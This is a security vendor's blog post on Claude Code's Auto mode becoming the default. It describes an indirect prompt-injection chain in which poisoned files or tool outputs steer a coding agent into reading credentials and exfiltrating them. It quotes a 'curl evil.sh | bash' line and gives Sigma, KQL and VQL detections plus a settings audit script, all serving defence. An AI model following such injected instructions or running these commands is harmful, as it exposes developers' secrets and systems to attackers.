Back to Intelligence

Claude Code Auto Mode Now Default: Defending Against Prompt Injection and Unsupervised Agent Execution

SA
Security Arsenal Team
August 8, 2026
9 min read

Anthropic has made Auto mode the default behavior in Claude Code for Pro, Max, and Team plan subscribers, as covered in Simon Willison's August 2026 analysis. On the surface this is a UX change — the agent now proceeds through more tool calls without stopping to ask the developer for approval on each action. From a defender's seat, this is something else entirely: a material reduction in the human-in-the-loop control that has been the primary compensating control against prompt injection, accidental destructive operations, and supply-chain-driven agent abuse since agentic coding tools went mainstream.

If your developers run Claude Code against production-adjacent repositories, CI credentials, cloud CLIs, or internal tooling, this default change quietly raises your risk ceiling overnight. The approval prompt — annoying as it was — was your last-line tripwire. Now the agent can chain file reads, edits, shell commands, and network calls autonomously within its permission scope. Anything that can steer the agent — a poisoned README, a malicious issue comment, a compromised dependency's postinstall script, an attacker-controlled web page fetched during a research task — inherits that autonomy.

No CVE has been assigned to this change and none is claimed; this is a design-shift risk, not a memory corruption bug. But the exploitation primitive — indirect prompt injection steering an autonomous agent into executing attacker-chosen commands — is the single most-discussed agentic AI threat pattern of 2025–2026, and defenders should treat this default change as a trigger to review controls today.

Technical Analysis

What Changed

  • Product: Claude Code (Anthropic's terminal/agentic coding assistant), running locally on developer workstations as a Node.js-based CLI (claude, typically executed via Node).
  • Plans affected: Pro, Max, and Team.
  • Change: Auto mode is now the default. The agent proceeds through sequences of tool calls — file edits, Bash tool execution, web fetches, MCP server invocations — with reduced per-action approval prompts. Users can still configure stricter permission modes via settings (.claude/settings.json), allow/deny lists, and flags, but the out-of-box posture moved toward autonomy.

Why This Matters Defensively

The risk model for agentic coding tools was already strained; this change shifts the equilibrium:

  1. Indirect prompt injection becomes higher-consequence. Content the agent ingests — repository files, web pages, issue trackers, dependency code, MCP tool outputs — can contain embedded instructions. With per-action approval, a vigilant developer might catch curl evil.sh | bash before it runs. In Auto mode, the agent executes the chain before a human reads anything.

  2. The Bash tool is the blast radius. Claude Code's shell execution inherits the developer's credentials and entitlements: SSH keys, cloud CLI tokens (~/.aws, ~/.kube, gcloud config), git credentials, package registry tokens, and any secrets in environment variables or reachable files. An agent steered into running attacker commands is functionally equivalent to an attacker with the developer's shell.

  3. Allowlists drift. Auto mode combined with permissive permissions.allow entries (e.g., blanket Bash(*), or broad allow rules added to silence prompts weeks ago) means pre-approved dangerous commands execute silently. Every org that added Bash(npm run *) or Bash(git *) to quiet the approval fatigue just inherited broader silent execution.

  4. MCP servers multiply the attack surface. Each configured MCP server is another tool the autonomous agent can invoke — and another source of injectable tool descriptions and outputs. Tool-poisoning via malicious MCP servers is a documented 2025-era technique and remains live in 2026.

Attack Chain (Defender's View)

  1. Developer runs Claude Code in Auto mode against a repo or task.
  2. Agent ingests attacker-controlled content (poisoned file, web fetch, MCP output, dependency).
  3. Embedded instructions redirect the agent: read ~/.aws/credentials, exfiltrate via curl, modify CI config, add a malicious dependency, or commit a backdoor.
  4. Commands match allowlist patterns (or Auto mode executes them without prompt) — no human sees the action.
  5. Attacker achieves code execution / credential theft / supply-chain foothold with the developer's privileges.

Exploitation Status

Prompt injection against agentic coding tools is actively researched and demonstrated in the wild throughout 2025–2026, with public proofs-of-concept showing data exfiltration and command execution through indirect injection. This default change does not introduce a new vulnerability — it weakens a compensating control against an existing, actively exercised threat class. Treat accordingly.

Detection & Response

You cannot detect "the LLM got tricked" at the network layer, but you can detect the observable outcomes: the agent's host process spawning shells, executing high-risk commands, and touching sensitive paths. The detections below target the claude CLI process tree (Node.js) and its child processes.

YAML
---
title: Claude Code Agent Spawning Shell Interpreter
description: Detects the Claude Code CLI (Node.js) spawning shell interpreters, indicating the agent's Bash tool executed commands. Baseline this in your environment and alert on anomalous child command lines, especially outside business hours or on non-developer hosts.
author: Security Arsenal
date: 2026/08/10
status: experimental
references:
  - https://attack.mitre.org/techniques/T1059/
  - https://simonwillison.net/2026/Aug/8/auto-mode/
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith:
      - '\node.exe'
    ParentCommandLine|contains:
      - 'claude'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\bash.exe'
      - '\sh.exe'
  condition: selection_parent and selection_child
falsepositives:
  - Legitimate developer use of Claude Code's Bash tool — baseline per host and user
level: medium
---
title: Agent Process Executing Credential or Exfiltration Commands
description: Detects shell commands referencing credential stores, cloud config directories, or common exfiltration tooling executed under a Node.js parent — consistent with a prompt-injected AI coding agent reading secrets or staging data for exfiltration.
author: Security Arsenal
date: 2026/08/10
status: experimental
references:
  - https://attack.mitre.org/techniques/T1552/
  - https://attack.mitre.org/techniques/T1567/
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith:
      - '\node.exe'
  selection_cmd:
    CommandLine|contains:
      - '.aws\credentials'
      - '.ssh\'
      - '.kube\config'
      - 'id_rsa'
      - '.env'
      - 'curl.exe'
      - 'wget.exe'
      - 'certutil'
      - 'base64'
  condition: selection_parent and selection_cmd
falsepositives:
  - Developers legitimately managing cloud credentials through agent-assisted workflows
level: high
KQL — Microsoft Sentinel / Defender
// Hunt: AI coding agent (Claude Code via Node) spawning shells or executing high-risk commands
// Baseline per-user first; investigate novel command lines and non-developer hosts.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName =~ "node.exe"
   or InitiatingProcessCommandLine has_cs "claude"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe", "sh.exe", "curl.exe")
   or ProcessCommandLine has_any (".aws", ".ssh", "credentials", "id_rsa", ".kube", "curl", "wget", "base64", ".env")
| project TimeGenerated, DeviceName, AccountName,
          Agent = InitiatingProcessCommandLine,
          SpawnedProcess = FileName,
          ProcessCommandLine, SHA256, ReportId
| order by TimeGenerated desc
VQL — Velociraptor
-- Hunt for Claude Code (Node) process trees and their child command lines
-- Deploy as a hunt across developer workstations; export for analyst review.
SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE Name =~ '(?i)node|claude|cmd|powershell|pwsh|bash|sh$'
  AND (
       CommandLine =~ '(?i)claude'
    OR CommandLine =~ '(?i)\.aws|\.ssh|credentials|id_rsa|\.kube|curl |wget |base64'
      )
Bash / Shell
#!/bin/bash
# Audit developer workstations for Claude Code permission posture
# Run via your fleet management / MDM tooling across macOS and Linux endpoints.

RISK=0

echo "=== Claude Code settings audit: $(hostname) ==="

# Locate user-level and project-level settings
for SETTINGS in "$HOME/.claude/settings.json" ./.claude/settings.json ./.claude/settings.local.json; do
  if [ -f "$SETTINGS" ]; then
    echo "[+] Found: $SETTINGS"

    # Flag overly broad Bash allow rules
    if grep -Eq '"Bash\((\*|.*(curl|wget|sudo|rm -rf).*)\)"' "$SETTINGS"; then
      echo "[!] RISK: Broad or dangerous Bash allow rule in $SETTINGS"
      grep -En 'Bash\(' "$SETTINGS"
      RISK=1
    fi

    # Flag dangerously-skip-permissions style bypass defaults
    if grep -Eq 'bypassPermissions|dangerously' "$SETTINGS"; then
      echo "[!] RISK: Permission bypass mode configured in $SETTINGS"
      RISK=1
    fi

    # List configured MCP servers for review
    if grep -q 'mcpServers' "$SETTINGS"; then
      echo "[i] MCP servers configured — inventory and vet each one:"
      grep -A2 'mcpServers' "$SETTINGS" | head -20
    fi
  fi
done

# Check for agent processes running right now
echo "=== Active agent processes ==="
ps aux | grep -iE 'claude|node.*claude' | grep -v grep || echo "None running."

if [ "$RISK" -eq 0 ]; then
  echo "[+] No high-risk Claude Code permission configuration detected."
fi

Remediation

There is no patch — the fix is configuration, policy, and monitoring. Actions for security and platform engineering teams:

  1. Explicitly re-enable approval gating where it matters. Do not accept the new default silently. Configure permission modes in .claude/settings.json so that Bash tool execution, writes outside the project directory, and network-fetching tools require approval — at minimum on production-adjacent repos and CI/CD working copies. Anthropic documents permission configuration in the Claude Code settings reference at https://docs.anthropic.com — distribute a hardened baseline settings file through your MDM/repo templates.

  2. Tighten allowlists. Audit existing permissions.allow entries across the fleet (script above). Remove blanket Bash(*) rules and any allow entries covering curl, wget, sudo, rm, or credential-path access. Approval fatigue is exactly what attackers count on.

  3. Run agents with least privilege. Where possible, execute Claude Code inside containers, devcontainers, or VMs without mounted cloud credentials, SSH keys, or production kubeconfigs. Use short-lived, scoped tokens for any cloud CLI access the agent genuinely needs.

  4. Inventory MCP servers. Every configured MCP server is a trust decision. Maintain an approved-server list, block arbitrary server installation via policy, and treat third-party MCP servers like third-party browser extensions — because they are.

  5. Deploy the detections above to your SOC and baseline them per user/host. The signal that matters is novel agent-spawned command lines — an agent that suddenly reads .aws/credentials or pipes a remote script to a shell is your tripwire now that the approval prompt is gone.

  6. Update acceptable-use and secure-SDLC policy. Define where Auto mode is permitted (throwaway sandboxes, greenfield prototypes) and where it is prohibited (production credentials, regulated data repos, release pipelines). Developers need a written rule, not a vibes-based one.

  7. Educate on indirect prompt injection. Developers must understand that any content the agent reads — including their own repo after a malicious PR — can issue instructions. Willison's coverage of this space is required reading for your engineering leads.

The meta-lesson: every agentic AI default that trades friction for autonomy is a control-plane decision being made by a vendor, inside your security boundary, on your developers' machines. Treat vendor default changes to agent tooling with the same change-management rigor you apply to firewall policy.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.